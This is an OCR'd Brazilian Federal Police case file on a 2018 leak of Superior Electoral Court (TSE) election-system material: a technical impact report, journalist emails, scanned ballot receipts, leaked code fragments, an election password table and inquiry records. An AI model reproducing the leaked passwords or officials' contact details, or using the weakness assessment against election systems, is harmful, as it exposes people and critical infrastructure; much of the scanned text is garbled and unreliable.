2.2. foram incluidos arquivos presentes na arvore de codigo-fonte do Gedai-UE.

3. Tal conteudo evidencia o acesso indevido dos seguintes dados:

3.1. codigo-fonte completo do Gedai-UE, possivelmente da verséao usada nas
Eleicoes 2018, porém sem as assinaturas da Ceriménia de Lacracao;

3.2. chaves e credenciais de acesso a servidores usadas pelo Gedai-UE;

3.3. senhas para oficializacao dos sistemas Candidaturas e Horario Eleitoral
utilizadas para a Eleicao Suplementar 2018 de Aperibé/RJ;

3.4. manual técnico da impressora de votos desenvolvida pelo FIT/Quattro
Eletrénica;

3.5. manual do QR Code do boletim de urna.

4. Nao ha evidéncia de acesso indevido do cédigo-fonte do software da urna -
Uenux, embora exista a evidéncia de acesso indevido de cédigo comum entre o
Gedai-UE e o Uenux.

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

5. Com relagao ao material acessado indevidamente, o impacto é o seguinte:

5.1. o manual do QR Code (item 3.5) ja € de dominio publico e encontra-se
publicado na Internet;

5.2. 0 manual da impressora de votos (item 3.4) nao possui informagcao sensivel,
uma vez que trata-se da documentagao de um protétipo que nunca entrou em

s
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operagao — o seu carater sigiloso se deve a uma relagao contratual entre o FIT e
a Quattro Eletronica;

5.3. as senhas de oficializacao (item 3.3) permitem a alteragdo de dados de
partidos e candidatos (até mesmo a sua exclusao) no contexto de um processo
eleitoral (ou seja, no caso concreto afeta somente a Eleicdo Suplementar 2018
de Aperibé/RJ);

5.4 as credenciais de acesso aos servidores usadas pelo Gedai-UE (item 3.2)
podem permitir que alguém dentro da intranet da Justiga Eleitoral consiga copiar
0s dados de eleitores e candidatos que alimentam as urnas, mas sem a
capacidade de adultera-los;

5.5. as chaves usadas pelo Gedai-UE (item 3.2) ainda requerem uma analise de
risco mais detalhada; isso porque parte das chaves sao geradas no momento da
lacragao e o acesso indevido diz respeito a material presente no ambiente de
desenvolvimento — ou seja, o software lacrado usa chaves diferentes; na
hipétese de serem as mesmas, existe a possibilidade de manipulacao de
arquivos de configuracao que alimentam o software da urna; e

5.6. o0 cbdigo-fonte do Gedai-UE, acompanhado de seus binarios compilados,
permite a importacao de dados oficiais das eleicoes e carregamento de urnas
com esses dados; contudo, o soffware de urna utilizado nao tem as assinaturas
oficiais da lacracao, o que fica evidenciado pelo LED de seguranca da urna e
pelos procedimentos de verificacao de hash e assinatura; também nao seria
possivel a geragao de um boletim de urna vélido para a Totalizagdo a partir
disso.

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

6. Diante desse cenario, solicita-se a abertura de inquérito policial junto a Policia
Federal para apuracao dos fatos.

7. Outras providéncias ja estdo em andamento nesta STI para sanar as
fragilidades que resultaram nesse acesso indevido, assim como tornar 0s
sistemas expostos ainda mais seguros.

8. Finalmente, alerta-se sobre a necessidade de tramitagao urgente deste
processo.

E o que informo.

Brasilia, 07 de novembro de 2018.

Este documento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

Secretario de Tet;hﬁio ia da Informacao
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ENC: chMungu - Possivel acesso ao GEDAl/Documentos

Assunto: ENC: TecMundo - Possivel acesso ao GEDAI/Documentos

De: Imprensa <imprensa@tse.jus.br>

Data: 06/11/2018 13:57

Para: Rodrigo Carneiro Munhoz Coimbra <rodrigo.coimbra@tse.jus.br>

Pade nos dar um help?

=
Obrigadal 8 g
Q -
Leticia % g
- ©
~ g
De: Felipe Payao [mailto:felipe.cruz@gruponzn.com] 33
Enviada em: terca-feira, 6 de novembro de 2018 13:47 S 3
Para: Imprensa; silvana.freitas@tre-sp.jus.br o
Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos o
4
Os arquivos estdo no ZIP, como indiquei na ligagao. 3

Obrigado

Em 6 de novembro de 2018 12:36, Felipe Payao <iclipe.cruzic gruponzn.com=> escreveu:
Ola. Tudo bem?

nos ternos do § 1°

LEONARDO BRUCE MADURE! RA LOPES, MATRI CULA: 17933,

Recebemos alguns documentos e imagens de uma suposta invasao ao sistema GEDAL e outras
informagdes sigilosas referentes aos processos do TSE. Antes de uma provavel publicagdo, gostariamos
de compartilhar o material com vocés.

Este seria o melhor canal?
Obrigado

’ Felipe Paydo
Reporter

ree +55 11 50831018
ci. +55 11 972827444
HTTP# NZN.I0

Este docunento tem o nesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

Felipe Payao
Repérter
NZN

reL +55 11 5083.1018
ce. +55 11 972827444

HTTEY NZN.I0

Lde Informagao n2 32 STI (0905379) SEI 2018.00.000014309-3 / pg. 3 06/11/2018 13:13



AT a

Siailoso

Fl .

DAL/ Documentos

12

NC: TecMundo - Pogsivel acesso an €

E

SR/ PF/ DF
2020. 0043195

Anexos:

1,0MB

TSE.rar

‘02UTT Se ‘020Z /TT /¥0 we
'900¢ /6T¥ 'TT 197 ep 1T

'€E6LT  VINO MLWA ‘SIOT VY IFINAWA 30NH9 OQYWNOIT

‘leJapad4 B 10104 9p OeA110s3 Jod oped |iudiny

"1/ Op oI § Op sauia} sou ‘opeluasalde [eu (b 110 op 8lueqo.d IO |eA @QUSAU O WA} OIUAUNJOP B 1S3

06/11/2018 19:13

2de 2



v 1 &Y |[FEDERAL Sigiloso

91234 s
ESTADUMAL.

012  [sennoor 1

013  [sEnADOR 2

11h20.

91 GOVERNADOR

92 PRESIDENTE

03 PREFEITO

ternos do 8§ 1° do Art. 11 da Lei 11.419/2006.

nt ado, nos
Federal , LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/ 2020, as

01234 |verennor

original aprese

TSE

de Policia

I1D_URNA: 28123456

Munic: 812345

IDMIE: 206754321

S .Jose do Livramentn
Fle: 8123

lona: 0081

Sec: 9@al

Proc: 9123

1 Turne ©7/10/2018 1 2@

Est e docunmento tem o nmesno val or probante do

Aut enti cado por Escrivao

CONF IRHADD

vl

NIQMAcag N= 3

G ™.
o -
iy ey




0SO

Siail
31im ce.urma 'grande". 0S cargos Dara decutaao federal. deputado estadual Si:&iﬂ%ﬂ]r ‘com

15}, governador & presicents, todos os cargos com diversos candidatos, com :cgiﬁ“ﬁ

sleftoras

R N X R

SINATURA QR CODE.
F604F9271760EBICBASOBOAS17823018FB6

CAOFOASO9E35I4EFBA7FDES7S20BA 1 91FFAS
7994CF BC70602012FC7143AAIDFF74AATFAZ
JE33CB476F0A

Informacgao n® 32 STI (0905379)

Hi%Pimento d
0. 0043195

1.5 VRCE: 20141005 ORIG:-VOTA

115000 DTPL:20181007 PLEI: 15500
FASE:S UNFE:-AC MUNI:1392 20MA:S S
16 AGRE-17 .18_1% 100 IDUE:1760152
- T731971457605812402762184 VERS & 27
-4 APTD-51 (OMP-30 FALT 21 HEMA-D

20191007 HRAD:164553 DTFC:20121007
153055 IDEL:15103 CARG .6 TIPO. 1

201806121104 FART 91 9101.1 5102 .18
3103:
J20L1:

;.
as 11h

3335382RE

a Lei 11.419/20

:
?
:

em 04/ 11/ 2020

3202:1 95203:1 5204:1 5205:1 LEGP:1
PART:93 9301:1 3302:1 9303:1 3304:
LEGP:2 TOTP:7 PART:94 9401:! 3403:%
9404-1 9405:1 LEGP:1 TOTP:6 PART: 95
9502:2 9503:1 9504:1 LEGP:0 TOTP;53
5 LRCC:5 SRAN-0 NULD-0 TOT-30 CAECy7
TIPO:1 VERC:-20120€121104 PART: 91 91i001:3 <
91002:1 $1003:1 LECP:2 TOTP:7 PART: 52 9f001:1
92002.1 52005 .1 LEGP.1 TOTP .4 PART 93 9850%1.1
33002.1 53003 .2 LECP.2 TOTF € PART. 54 54001 .3
940022 -
HASH - 2807 usxuwawwmsmwu.muhmezgs‘gn4

BN ey e

9305:
9403:
2501:

92941 AF 3BCAFBCELC3€0BBBOSCEFSEASDO9SETE Cc25
32735906C0CE49CA52€7060CCCODD220EBL77703F36

LEONARDO BRUGCE

20141005 94003-
- :18 LEGC. 9 BRAN 0 NU
.30 CARG .5 TIFO.O VERC. 2018061L 21104
921 :6 931:3 %41:6 9316 MMI: 31 BRAN-9
NULD:20 TUTC 60 CARG:3 TIPO:O
VERC:201806121104 91:4 92:3 93:4 3%4:2 =
NOMI - 25 ERAN-5 NULD:0 TO7C:-30 IDEL-151012 g
CARG:1 TIPO:0 VERC:201806121104 91:6 92:8
33-3 94-4 S5-7 NOMT 23 BRAN'5 WOLD-2 TOW 330
:uu:ﬂ-nn:*tsﬁmurr?ursmnmn:ﬁ:nummémrn
EDE4BD4NA1 JATI4DF 05 36AIROCCSTON999%319CF 2 Qgﬁg €1
JE!ME‘GC‘.,BZ!?210!!52!}.2‘_135!‘:39131225911(1%%'
Assl.CSEC04F32?17GDEBBCBAS350&0:?323510!%6&:?
-1)&9!'03539!5.-34!.1367!‘0!:79233819.‘.!’!‘.&843"?@:!’8
CTOC0ZDLIZFCTI43RAAIDIFTSAASFAZEGCESSCEATRFUA

c

=

i

r.
te do original ap

5
e lﬁllcia Ed@ral,

%I or prgb

Aut

SEI2018.00.000014309-3 / pg. 6



il s

fi

Siailoso

. Fl. 264
SR/ PF/ DF

L S T w5 Bt -l E vt 21 gadietc ¥ o e Tl U Bl 4 T
2020. 0043195

1a. TIA B o thiagal da mpea U
TaMz N0 esfa” TtOD v o d&T Az T as
SRR T MmETmT o Tretagris sha e

Juzriga Eleitoral
Foournal FaogiZnal zloltoral [Zz0 o Gl ia b S
d G S
o <
o -
T ol i Tlrrom - ~
o T -dnels Sattoare t= e 5 2
—
~ -
LA N s N . - ©
e P e v ompoezens oz oy - g
- N
. ol ERR e B 33
- B
P o d e W o 3
° 3
. - - —
boms st T R dE
N -
, C s i e )
cenaslTa oo L omern: Ll L o
™
<3
°o 3
u 4 T D * Sy e .
- R R S SR [ TP IV [T =
. o
it sl TETITE AR e e T SAY, = g
w
o ‘E
Ton o m_ociTorsl e T - - . Ug
o Mmoo - e B e A F L R S R SR T &
Z:zal oz oTarics > - . o d g -
- . _ . l - - s ekt Ao o« Ade 4 5 m
Pl FomotoLx [ H&
P2
o
- . c
Tl 1em=- o~ - - g
. - : : . .S
1= = : v h LIRS BT [N T R > PP TR I w3,
Lymn TolmoIiacns I R R R N g
aLeio= L_L Al Zm o tascoawenil L0014 8
ag
©
_ o
©
P R | - - [ . - . IU [l I BT U T SR | P 5 8
* *
e B s E R R B SRR | - - ! N : ':%
. 1 tg . el oo - .- .. © u
Se- k=2t o0 A7 abellalAa = L I R . - LI fr: = o e -‘}::_-_-,-__8-
Tt e b Ll T . 1 - . Yoo _bH.e a s _e Loales )
LRI - bt DRl B . %
' o
o
o
o

R T S N

336 . 660

Y

Escrivao de Policia Federal,

— % - (% [ 4 A

Y

oy ety R TR
Dol o i i beadar: Lol rr Tae 177 - SRR L A A R I SR SR )

H
i
4
*
T
"
Este documento tem o mesno valar

5]
a
o)
°
]
o
=
®
1THE a7 o P L 5
. . Z
SRS | R I = R I I om0 .
M i RN T s ii. L T Gt oo [SECTIED B SRS
il e A K LR | 1 ]
(™ ' : :
Tumotom o= el
3 - - | = -t N
PO L PO T B -



282
SR/ PF/ DF

2020. 0043195

Siailoso

Fl .

‘02UTT Se ‘0202 /TT /YO W '€E6LT VINO MIWA ‘S3d0T WA IFUNAWA 30NdE OQUWVNOIT ' [eJapad e 19 1]0d ap OeA 1403 Jod 0Oped |1ud iy
‘9002 /6T¥ 'TT 197 ep TT 1.V Op oI § Op saulal sou ‘opeluasaide |euibiio op 9jueqoid 1o [eA ausau O wWal O3luaundop a1l

A

JUATTRO ELETRONICALTD
APRESSORA VP4627F|



!'I’..I 3
i_ @file '
N - Descricao do Tonte
@author Scopy; 2013 Justica Eleitoral. Tudes os direitos reservados,
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#ifndef cconversortitulorelatorioiniHPP
#define cconversortitulorelatorioinilPP

#include “app/dados/parametrizacaourna/ctitulorelatorio, hpp”

#include estring>
#1nclude <vector=

forward declaration
namespace api {
namespace ini
class CIni;

}
3
.:'f:smﬂ;—_:_:: T EEEE S S E S EESSSSS S S TS SESS=SSSSSSSESSISSSS=SS=S=S5 = EES===ssssssssEaS==s====
class CConversorTituloRelatorioINI {
public:
5td :vector<app::dados: :CTituloRelatorio> Converter(const std:;string & nome, int qtd,
const api::ini::CIni & properties);
; —— = e L L s L o S s =T E=s==E=T======
void Desconverter(const std::vector<app::dados::(TituloRelatorio> & titulos, const std::string & nome,
api::1ini::CIm1 & properties);
private:
app :dados: CT1tuloRelatorlo 'EAllnhamentoTltulo (onverterAl1nhalentoT1tuln{1nt alinhamento);
abp::dados::CTituloRelaturiu::EEstiluTltulu ConverterEstiloTitulo(int alinhamento);
std..str1ng DesconverterAlinhamentoTitulolapp: dados CTxtuloRelator1o :EAlinhamentoT1itulo al hamentol
std::string DesconverterEstiloTitulo(app::dados::CTituloRelatorio::EEstiloTitulo alinhamento);
¥ »

#end1 f
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11 da Lei 11.419/2006.

do Art.

nos ternos do § 1°

Este docunmento tem o nesnp val or probante do original apresentado,

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

Informacéo n° 32 STI (0905379)

Aut enti cado por Escrivao de Policia Federal,

SEI2018.00.000014309-3 / pg. 9
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11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.
Informacao n° 32 STI (0905379)

Aut enti cado por Escrivao de Policia Federal,

SEI2018.00.000014309-3 / pg. 10
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Brasilia, 08 de agogca

l

Excelentissimo(a) Senhor(a) Juiz(a),
Por questoes de segurancga, serao utilizadas, no processo informatizad.
do pleito n? 229 de 28/10/2018 - R} - Suplementar de Aperibé, senha
personalizadas para oficializacdo dos usuarios e sistemas, de modo:qu
esses se tornem aptos a receber dados oficiais. 18

Para realizar o procedimento, o usuario autorizado seleciona o 5|stg
a ser oficializado. Em sequida, Vossa Exceléncia sera solicitada a infor
senha correspondente, conforme tabela abaixo.

n
SEI31

do original apreSenta

I, LEONARDO BRUCE
[ (0905379)

A partir de 07/08/2018
CANDIDATURAS 08/08/2018 (ap6s as 15h13 ) w84C39Y6

crivao d
Infor

m—
HE 08/08/2018 by 5Q4SCPUI

Este @ocunento §em o nes
Aut ent iIcado por T
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as 11h20.

20 ASHI::SEQUENCE

11. 419/ 2006.

E Inheritad;

tfoType InfaType;
=voanfei o Inkeritediznfer {}

em 04/ 11/ 2020,

11 da Lei

iritedi{&thelnfo)
ImlcipioslF & thatt o Inheritedithat) {}

do Art.

MATRI CULA: 17933,

PRicoes T MuniclplosUFs trat:

=lthatr, rgtyen siris; b

wsCSELE: 1UF value type;
=18 reference:

.de typed  const referance;
@ pointer;

ug type* (onst pointer:

nos ternos do § 1°

LEONARDO BRUCE MADUREI RA LOPES,

apr esent ado,

et uf fy oo
P { et Y
t) { retuor fataric teuf::porr
tgf:sconst reference vi
efripeintersifieldsiil = v )

G
4

probante do ori gi nal

JUENCE OF=ModuleTiposhECAD: (Munzczpio=  wvalue iype:

24 reference;

e typed  gonst refere-cs;
T volnter;

ade typer onst pointer;

Escrivao de Policia Federal,

‘erarce get mynivipios O o3t { et e vutatl anleTurleiplosioonst polrtecsifieldel ]
soref monicipios o o§ et tEld J3stemlnlcipies:peirter=ifialds[ 1)
rosat muRlLLplos i f STTrET3 SHITEMUNLLLPLIGE gt frelds( ]
Yoset mUNLCIPLGS W TeelLlpled:icanst refarance vt
MmunIciplos::peintersifiaidsl o= v}

& that] ¢ Inkerlteq: swapithati: }

I oconcy

MuniciprosUF s (Inceritec::cloreils; }
i InfrTyoe cmelnfs;

Este docunmento tem o nesno val or

Aut enti cado por
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TRIBUNAL SUPERIOR ELEITORAL
DESPACHO

Senhora Presidente,

Submeto a elevada consideragao de Vossa Exceléncia a Informagao n? 32 STI,
cujo contetdo foi encaminhado a Policia Federal para investiga¢ao no dia 6 de novembro
corrente, sugerindo que, paralelamente, os fatos ali narrados sejam apurados,
administrativamente, por meio de sindicancia.

11 da Lei 11.419/2006.

em 04/11/ 2020, as 11h20.

Para tanto, apresento, para assinatura, caso acolha seus termos, minuta de
portaria constituindo comissao de sindicancia.

do Art.

Respeitosamente,

nos ternos do § 1°

urado Fleury

Diretor-Geral

2018.00.000014309-3 Documento n” 0905380 v7

LEONARDO BRUCE MADURE! RA LOPES, MATRI CULA: 17933,

Este docunento tem o nesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal

Despacho GAB-DG 0905380 - assinado (0906201) SEI2018.00.000014309-3 / pg. 17
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TRIBUNAL SUPERIOR ELEITORAL
Portaria TSE n2 976 de 08 de novembro de 2018.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas
atribuicdes legais e regimentais, com fundamento no art. 143 da Lei 8.112, de 11 de
dezembro de 1990, resolve:

11 da Lei 11.419/2006.

designar os Juizes Auxiliares do Gabinete da Presidéncia, Doutor Ricardo Fioreze
e Doutor Fernando Pessé6a da Silveira Mello, e o servidor Daniel Carlos Lima Corréa, para,
sob a presidéncia do primeiro, constituirem Comissao de Sindicancia, visando apurar, no
prazo de 60 dias, os fatos tidos como possiveis irregularidades, constantes do
Procedimento SEI n® 2018.00.000014309-3.

/ /;7*" I/L/L&‘f\

Mrﬁistfa ROSA WEBER

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

2018.00.000014309-3 Documento n" 0905381 v9

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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Marcia Lobo Paiva Rodrigues

De: Sérgio Carlos Tres e Silva

Enviado em: quinta-feira, 8 de novembro de 2018 16:56
Para: Marcia Lobo Paiva Rodrigues

Cc: Joice Ribeiro Gongalves Da Rocha
Assunto: ENC: DJE - Aviso de Envio de Materia

De: dje@tse.jus.br [mailto:dje@tse.jus.br]
Enviada em: quinta-feira, 8 de novembro de 2018 16:56
Para: Sérgio Carlos Tres e Silva

Cc: dje@tse.jus.br g g

Assunto: DJE - Aviso de Envio de Materia g =

:

(Esta é uma mensagem automatica gerada pelo Diario de Justiga Eletrénico, ndo é necessario respondé-la.) ; &

3

Recibo DJ-e Nr. 94276/2018 -
, , =
Prezado Sr(a) SERGIO CARLOS TRES E SILVA, S
Acusamos o recebimento da seguinte matéria para publicagao no Diario da Justiga Eletronico: o
. Data Data ~ ~ . g
Titulo Remessa Publicacdio Secao SubSecao Tipo 5
Designacdo. Juizes Auxilares. 08/11/18  09/11/18  Presidéncia 2598 Iporaria

Comissao de Sindicancia. Presidéncia

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Este documento tem o nesno val or probante do original apresentfadogs

Aut enti cado por Escrivao de Policia Federal,
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De: Presidencia
Enviado em: terca-feira, 13 de novembro de 2018 15:17
Para: Ricardo Fioreze; Fernando Pess6a da Silveira Mello; Daniel Carlos Lima Corréa;
Sérgio Carlos Tres e Silva
Assunto: Comisséao de Sindicancia
Prioridade: Alta
.
Prezados Senhores, § 5
De ordem do Presidente da Comissdo de Sindicancia criada por meio da Portaria TSE 976/2018, convido todos os ¥ z
membros para a reunido inicial no dia 14/11/2018, quarta-feira, na sala de reunides da Presidéncia, de 15h as 16h. = §
Respeitosamente, S 3
=5
Sérgio Trés z
Gabinete da Secretaria-Geral da Presidéncia 3
‘ E-mail: sergio.tres@tse.jus.br i‘)
TSE Telefone: (61) 3030-7837 s
g
5

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL
Memorando n° 125 GAB-SPR
Senhor Secretario de Tecnologia da Informacao,

Assunto: Informacao n° 32 STIL.

Comunico a Vossa Senhoria que a Portaria TSE n° 976 criou Comissao de

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

Sindicancia visando a apurar os fatos tidos como possiveis irregularidades, noticiados na
Informacdo n°® 32 STIL.

Como Presidente da Comissdo, coloco-me a disposicdo para a troca de informagdes e
documentos, em carater reservado, por meio do e-mail ricardo.fioreze @tse.jus.br ou do telefone
(61) 3030-2795.

Paralelamente, solicito a gentileza de, igualmente em carater reservado, me serem
informadas quais outras providéncias foram adotadas pela Secretaria de Tecnologia da
Informacdo, incluindo as conclusdes ja obtidas, para apuracdo do ocorrido e saneamento das
fragilidades que resultaram no acesso indevido, para, assim, tornar os sistemas mais seguros (item

7 da citada Informacio).

Atenciosamente,

Ricardo Fioreze
Juiz Auxiliar da Presidéncia
Presidente da Comissao de Sindicancia
RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDEN CIA DO TRIBUNAL SUPERIOR ELEITORAL

Documento assinado eletronicamente em 23/11/2018, as 15:10, conforme art. 1°, §2°, III,
b, da Lei 11.419/2006.

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

A autenticidade do documento pode ser conferida em

v https://sei.tse.jus.br/sei/controlador externo.php?

1r acao=documento conferir&id orgao acesso externo=0&cv=0911528&crc=F1CA9EFD,
i informando, caso ndo preenchido, o cédigo verificador 0911528 e o c6édigo CRC
F1CA9EFD.




Siailoso

foToTa)
>4

=l
T

Documento n° 0

2018.00.000014309-3

‘02UTT Se ‘0202 /TT /PO Wd ‘€€6LT VIO MIWA ‘SIHOT Vd I3UNAWA 30NHd OCHVNOTT

‘leJapaq e 10104 dp OeA119s3 Jod oped |1ua iny

‘9002 /6T 'TT 197 ep IT "14/ Op oI § Op SauJd} sou ‘opelussa ide |eu _m 110 Op 9 1ueqo id Jo |eA ausau O wal O luaundop a1s3y



Sigiloso

SR/ PF/ DF
2020. 0043195

TRIBUNAL SUPERIOR ELEITORAL
Oficio n° 5979 GAB-SPR
Brasilia, 20 de novembro de 2018.

A Sua Exceléncia o Senhor

Dr. ROGERIO AUGUSTO VIANA GALLORO
Diretor-Geral da Policia Federal

Brasilia - DF

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

Assunto: Oficio n° 5825 GAB-SPR. Medidas de policia judiciaria.

Senhor Delegado,

Informo a Vossa Exceléncia que a partir das informagdes constantes na Informacio n°
32 STI, enviadas ao Departamento da Policia Federal por meio do Oficio n° 5825 GAB-SPR, foi
criada, no ambito do TSE, Comissdo de Sindicancia especifica, visando a apurar os fatos tidos

como possiveis irregularidades.

Como Presidente da Comissao, coloco-me a disposicdo para a troca de informacdes e
documentos, em carater reservado, por meio do e-mail ricardo.fioreze @tse.jus.br ou do telefone
(61) 3030-2795.

Paralelamente, solicito a gentileza de, igualmente em caréter reservado, serem enviados
a mim os resultados da investigacdo que for promovida por esse Departamento sobre 0 mesmo

assunto.

Atenciosamente,

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

Ricardo Fioreze
Juiz Auxiliar da Presidéncia
Presidente da Comissao de Sindicancia
RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL

Documento assinado eletronicamente em 23/11/2018, as 15:11, conforme art. 1°, §2°, III,
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b, da Lei 11.419/2006. -
20200043195

[w] e Fnlm] A autenticidade do documento pode ser conferida em

.fg;‘:."[_'l': ' https://sei.tse.jus.br/sei/controlador externo.php?
e o o
&.‘ﬁi"":‘ acao=documento conferir&id orgao acesso externo=0&cv=0911585&crc=62AE7692,
2 e E

d gy ¥ informando, caso ndo preenchido, o c6digo verificador 0911585 e o c6digo CRC 62AE7692.

2018.00.000014309-3 Documento n® 0911585 v13

11 da Lei 11.419/2006.
as 11h20.

em 04/ 11/ 2020,

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

nos ternos do § 1°

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Ata GAB-SPR n° 2/2018

Tribunal Superior Eleitoral

Comissao de Sindicancia - Portaria TSE n® 976/2018 3 f

Registro da 1° reuniao - DOCUMENTO RESERVADO 3 §

1. Identificacdo da reuniao %

1.1. Data da reunido: 14/11/2018; %

4

1.2. Horério de inicio: 15h05; (%

1.3. Hor4rio de término: 15h25; §

14. Local: Sala de reunides da Presidéncia do TSE; %

1.5. Relator: Sérgio Trés. é

g

2. Objetivo é
2.1. 1* Reunido Ordinéria da Comissdo de Sindicancia criada para tratar da dentincia

de acesso indevido a dados relativos a sistemas eleitorais e ao projeto de hardware da
UE2018, conforme registrado na Informacgao n°® 32 STI, constante no processo TSE SEI
2018.00.000014309-3.

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

3. Participantes
3.1. Presidente: Ricardo Fioreze - ricardo.fioreze @tse.jus.br - (61) 3030-7995
3.2. Membro: Fernando Pessdéa da Silveira Mello - fernando.mello@tse.jus.br -

Aut enti cado por Escrivao de Policia Federal,

(61) 3030-9076

3.3. Membro: Daniel Carlos Lima Corréa - daniel.correa@tse.jus.br - (61) 3030-7424
4. Assuntos tratados
4.1. O Senhor Ricardo Fioreze apresentou-se e deu inicio a reunido, agradecendo a

presenca dos demais e informando que o objetivo principal do encontro é formalizar a



Siailoso

oTple)
LIV

Fl .
instalacio da Comissdo de Sindicdncia e iniciar a apuragdo administrativa dogy faios

apresentados na Informagao n® 32 da Secretaria de Tecnologia da Informagao (STEy20- 0043195

4.2, Esclareceu que o objetivo principal desta Comissdo de Sindicincia € a apuracao

da falha ou irregularidade cometida, considerando-se os fatos apresentados.

4.3. Relatou ainda a designag@o do servidor Sérgio Trés para secretariar a Comissao e

para realizar o necessario apoio administrativo a seus membros.

4.4. O Senhor Ricardo Fioreze propds seja confirmado, junto a Presidéncia do

Tribunal, se houve o encaminhamento da Informacdo n° 32 STI a Policia Federal e, em

as 11h20.

caso positivo, seja juntado o respectivo expediente ao presente processo e sejam solicitadas
a Policia Federal informacOes sobre o andamento da investigacdo e o envio ao Presidente

da Comissdo de Sindicincia, em carater reservado, dos elementos obtidos com a

11 da Lei 11.419/2006.

em 04/ 11/ 2020,

investigacao, o que foi aprovado pela Comissao de Sindicancia.

4.5. Propds ainda que seja dado conhecimento da instalagdo desta Comissdo a Policia

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Federal, para que se viabilize troca de informag¢des e auxilio miituo, sempre que necessario

e possivel, o que também foi aprovado pela Comissao.

4.6. Acrescentou que a STI, segundo se extrai do conteddo da Informagdo n°® 32 STI,

estd dando continuidade a investigac@o 14 iniciada, com a finalidade de verificar o efetivo

nos ternos do § 1°

alcance e danos provocados pelo acesso indevido noticiado na Informacao n° 32 STI, e, em
razao disso, prop0Os seja solicitado aquela Secretaria o envio ao Presidente da Comissdo de
Sindicancia, em caréter reservado, das demais conclusdes alcangadas por aquela area em
razao da continuidade da apuracdo 14 desenvolvida, o que igualmente foi aprovado pela

Comissao.

4.7. O Senhor Daniel Carlos Lima Corréa ressaltou que devem ser apuradas as
condi¢cdes que permitiram a ocorréncia deste acesso indevido e, em especial, se a pessoa
responsavel pela ocorréncia ainda estd ou ndo com acesso a rede do TSE, para impedir que

0 novo acesso indevido possa vir a ocorrer.

4.8. O Senhor Ricardo Fioreze relatou que:
4.8.1. De fato, houve o relato de invasdo para coleta de informagdes de acesso restrito;
4.8.2. Em tendo havido este acesso indevido, a bases de dados restritas ou a outros

sistemas ou elementos, deve-se identificar a origem desse acesso, de forma que se

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

impossibilite nova ocorréncia similar.

4.9. O Senhor Fernando Pessoa da Silveira Mello propds que, a partir das respostas

recebidas da Policia Federal e da STI, seja dada continuidade a investigacdo desta

Comissao.

4.10. O Senhor Daniel Carlos Lima Corréa relatou que a STI havia descoberto
previamente que alguns dos sistemas utilizados pelo TSE apresentavam vulnerabilidades e
vinham sendo corrigidos ou inativados ao longo do tempo, como ocorreu recentemente

com o sistema do “Malote Digital”.
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4.11. Acrescentou que outra pergunta que devera ser respondida posteriormentd &/$&
2020. 0043195
este acesso indevido foi antigo e ndo pode mais ocorrer pela correcdo do problema, ou se

ainda h4 alguma vulnerabilidade passivel de ser explorada de forma mal-intencionada.

4.12. O Senhor Ricardo Fioreze agradeceu a presenca de todos, encerrando a sessdo, e

informou que as proximas reunides da Comissdo serdo agendadas conforme se faca

necessario.
5. Pendéncias
5.1. Verificar se foi produzido e, em caso positivo, juntar ao processo SEI

2018.00.000014309-3 expediente enviado ao Departamento de Policia Federal dando
conhecimento da Informagao n° 32 STL

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

5.2, Dar conhecimento ao Departamento de Policia Federal sobre a instalacdo de

Comissao de Sindicincia no ambito do TSE, visando a apurar os fatos relatados na
Informacao n°® 32 STI, e, paralelamente, solicitar que sejam encaminhados ao Presidente da
Comissao, em carater reservado, os resultados da investigacdo que vem sendo promovida

por aquele Departamento sobre 0 mesmo assunto.

5.3. Solicitar a STI que informe sobre outras conclusdes alcangadas por aquela drea em

razdo da continuidade da apuracdo 14 desenvolvida envolvendo os fatos relatados na

Informagao n°® 32 STL
6. Anexos
6.1. Sem anexos.

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL
| Documento assinado eletronicamente em 23/11/2018, as 15:10, conforme art. 1°, §2°, III,
